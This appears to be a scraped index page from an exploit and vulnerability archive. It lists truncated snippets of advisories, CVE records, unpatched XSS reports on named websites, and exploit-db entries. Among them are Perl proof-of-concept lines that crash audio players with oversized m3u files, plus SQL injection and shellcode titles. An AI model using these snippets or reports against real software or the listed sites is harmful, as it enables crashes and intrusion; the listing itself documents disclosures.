PHPWIND v8.7 querybuilder.class.php SQL注入漏洞

phpwind在实现占位符SQL过程中，代码质量出现了一个小黑点。 在 phpwind/lib/utility/querybuilder.class.php parseStatement函数内 在/phpwind/actions/ajax/leaveword.php 的一个引用处 Line 78行 $db-updatepwQuery::buildClause"UPDATE :pwtable SET leaveword=" . S::sqlEscape$atccontent . " $sqladd WHERE pid=:pid AND tid=:tid", array$pwposts,...

MediaCluster (mcCMS) Shell Upload

========================================================================= MediaCluster mcCMS Arbitrary File Upload Vulnerability ========================================================================== +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= +=+=+= +=+=+=...

Websolutions SQL Injection

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : 1337day.com 0 1 + Support e-mail :...

RealNetworks, Inc. Releases Update for Helix Server and Helix Mobile Server

RealNetworks, Inc. has released a security update for multiple vulnerabilities affecting Helix Server and Helix Mobile Server. The vulnerabilities affect versions 12.x, 13.x, and 14.x of Helix Server and Helix Mobile Server installed on Red Hat Enterprise Linux 5, Sun Solaris 10, Windows 2003, an...

Design/Logic Flaw

Unspecified vulnerability in the PeopleSoft Enterprise CRM component in Oracle PeopleSoft and JDEdwards Suite 9.0 Bundle 31 and 9.1 Bundle 6 allows remote authenticated users to affect confidentiality and integrity via unknown vectors related to Order Capture...

Unfixed XSS vulnerability at www.intereconomia.com

Security researcher Busi, has submitted on 31/12/2010 a cross-site-scripting XSS vulnerability affecting www.intereconomia.com, which at the time of submission ranked 8987 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 11/12/2011. It is...

Unfixed XSS vulnerability at www.ips-dc.org

Security researcher alexalghisi, has submitted on 31/10/2010 a cross-site-scripting XSS vulnerability affecting www.ips-dc.org, which at the time of submission ranked 594522 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 21/12/2011. It is...

Unfixed XSS vulnerability at www2.scholastic.com

Security researcher alexalghisi, has submitted on 31/10/2010 a cross-site-scripting XSS vulnerability affecting www2.scholastic.com, which at the time of submission ranked 4455 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 20/12/2011. It is...

Code injection

Unspecified vulnerability in the PeopleSoft Enterprise FMS - GL component in Oracle PeopleSoft and JDEdwards Suite 8.9 Bundle 38, 9.0 Bundle 31, and 9.1 Bundle 6 allows remote authenticated users to affect confidentiality and integrity via unknown vectors, a different vulnerability than...

CVE-2010-3211

creationtimestamp| type| source ---|---|--- 2010-08-31 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/14846...

Unfixed XSS vulnerability at www.abacho.it

Security researcher LordTittiS3000, has submitted on 31/07/2010 a cross-site-scripting XSS vulnerability affecting www.abacho.it, which at the time of submission ranked 154393 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 15/12/2011. It is...

Xion Audio Player 1.0.125 Denial of Service Vulnerability

Exploit for php platform in category dos / poc ========================================================= Xion Audio Player 1.0.125 Denial of Service Vulnerability ========================================================= !/usr/bin/perl Xion Audio Player version: 1.0.125 Author: hadji samir ,...

Xion Audio Player 1.0.125 - Denial of Service

!/usr/bin/perl Xion Audio Player version: 1.0.125 Author: hadji samir , [email protected] Download : http://xion.r2.com.au/index.php?page=download Tested : Windows XP SP2 fr DATE : 2010-07-31 thanks mo3taz wnass cfa nta3 blida et samir tjrs mahboul-3lik my $file= "mahboul-3lik00.m3u"; my $junk=...

Xmyplay 3.5.1 - Denial of Service

Xmyplay 3.5.1 - Denial of Service !/usr/bin/perl Xmyplay 3.5.1 Author: s-dz , [email protected] Download : http://us2.un4seen.com/files/xmplay35.zip Tested : Windows XP SP2 fr DATE : 2010-07-31 my $file= "mahboul-3lik00.m3u"; my $junk= "\x41" x 1000000; open$FILE, "$file"; print$FILE $junk;...

CVE-2010-2932

creationtimestamp| type| source ---|---|--- 2010-07-30 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/14505 2010-07-30 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/14504 2010-07-31 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/14519...

Fixed in Apache Tomcat 6.0.28

Important: Remote Denial Of Service and Information Disclosure Vulnerability CVE-2010-2227 Several flaws in the handling of the 'Transfer-Encoding' header were found that prevented the recycling of a buffer. A remote attacker could trigger this flaw which would cause subsequent requests to fail...

openSUSE Security Update : MozillaFirefox (openSUSE-SU-2010:0358-2)

Mozilla Firefox was updated to version 3.5.10, fixing various bugs and security issues. MFSA 2010-33 / CVE-2008-5913: Security researcher Amit Klein reported that it was possible to reverse engineer the value used to seed Math.random. Since the pseudo-random number generator was only seeded once...

Fedora 11 : krb5-1.6.3-31.fc11 (2010-8796)

Shawn Emery discovered a remotely-triggerable NULL pointer dereference in the Kerberos GSS-API library which could be used to cause GSS-API-authenticated services to crash. This update incorporates fixes to instead correctly detect the error and return an error code. Note that Tenable Network...

Joomla! Component cinema - SQL Injection

Joomla! Component cinema - SQL Injection ========================================================= Exploit Title: joomla component cinema SQL injection Vulnerability Date: 09 juny 2010 Author: Suddendeath [email protected] Software Link: N/A Tested on: Windows XP 2 Platform / Tested on:...

Linux/x86 - CDRom Ejecting Shellcode (46 bytes)

Linux/x86 - CDRom Ejecting Shellcode 46 bytes. Shellcode exploit for Linuxx86 platform / 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type...